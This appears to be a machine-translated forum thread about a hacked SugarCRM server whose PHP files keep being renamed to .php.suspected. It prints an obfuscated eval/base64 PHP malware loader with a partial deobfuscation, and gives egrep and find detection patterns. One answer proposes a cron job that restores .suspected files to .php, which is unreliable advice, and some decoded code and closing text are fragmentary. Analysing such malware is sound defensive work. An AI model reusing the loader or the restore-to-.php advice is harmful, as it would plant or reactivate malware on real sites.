過去4日間以来、SugarCRMである1つのサイトのみに固有の本番サーバー(AWS EC2インスタンス)で奇妙な問題に直面しています。
問題は/ home/site_folder/public_html/include/MassUpdate.phpファイルの名前が自動的に/ home/site_folderに変更されます/public_html/include/MassUpdate.php.suspected
これは1日に2〜3回発生し、3〜4時間のギャップがあります。この問題は、同じサイトのステージングレプリカでは発生しない場合でも、特定のサイトの場合にのみ発生します。私は両方のサイトからそのファイルのコードをチェックしました、それは同じです。
Googleが調査したところ、このような問題は主にWordpressサイトで発生し、攻撃が原因である可能性があります。ただし、攻撃に対してサーバーをチェックしたところ、何もありません。ウイルスもありません。 /マルウェアスキャンがサーバーで実行されています。
私たちは何をすべき?
更新:これを実行した後、いくつかのことがわかりました link 実行しましたegrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/
そして、次のサンプルコードを含むファイルがほとんどないことがわかりました。
<?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>
一部のマルウェアのようですが、永久に削除するにはどうすればよいですか?
ありがとう
この回答を投稿すると、他の人の役に立つかもしれません。
#Rename your_file_name.php.suspected to your_file_name.php mv /<path_to_your_file>/your_file_name.php.suspected /<path_to_your_file>/your_file_name.php
*/10 * * * * path_to_cron_file.sh
Googleでのcronの作成に関する多くのドキュメントが表示されます。
多少難読化されていますが、難読化を解除しました。関数flnftovrは、文字列と配列を引数として受け取ります。式を使用して新しい文字列$ ggyを作成します
isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}
次に、文字列の先頭にbase64_decodeを付加します。
文字列は$ s、配列は$ koicevです。次に、この操作の結果を評価します。したがって、最終的に文字列が作成されます。
base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)
したがって、実際にサーバーで実行されるのは次のとおりです。
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
if(isset($_SERVER)
encode(serialize($res));
}
これを作成しておらず、サイトがハッキングされていると思われる場合は、サーバーをワイプして、サーバーで実行されているアプリの新しいインストールを作成することをお勧めします。
.php
ファイルの.php.suspected
への名前変更は、今日も引き続き行われています。次のコマンドは何かを思い付くべきではありません:
find <web site root> -name '*.suspected' -print
find <web site root> -name '.*.ico' -print
私の場合、感染したファイルは次のコマンドで見つけることができます。
cd <web site root>
egrep -Rl '\$GLOBALS.*\\x'
egrep -Rl -Ezo '/\*(\w+)\*/\s*@include\s*[^;]+;\s*/\*'
egrep -Rl -E '^.+(\$_COOKIE|\$_POST).+eval.+$'
GitHub で、問題の詳細な説明と対処方法を用意しました。
Phpファイルの名前をphp.suspectedに変更することは、通常ハッカーのスクリプトによって意図され、行われます。彼らはファイル拡張子を変更して、ファイルがいくつかのマルウェア対策ソフトウェアによってチェックされ、安全で実行できないという印象を与えます。しかし、実際にはそうではありません。スクリプトを呼び出したいときはいつでも拡張子を「php」に変更し、その後、拡張子を「疑わしい」に戻します。あなたはそれについて Securi Research Labs で読むことができます
この投稿は古いかもしれませんが、トピックはまだ生きています。特に 2019年6月のマルウェアキャンペーンのターゲットWordPress plugins によると、クライアントのWordPress=サブディレクトリ(例:wp-content)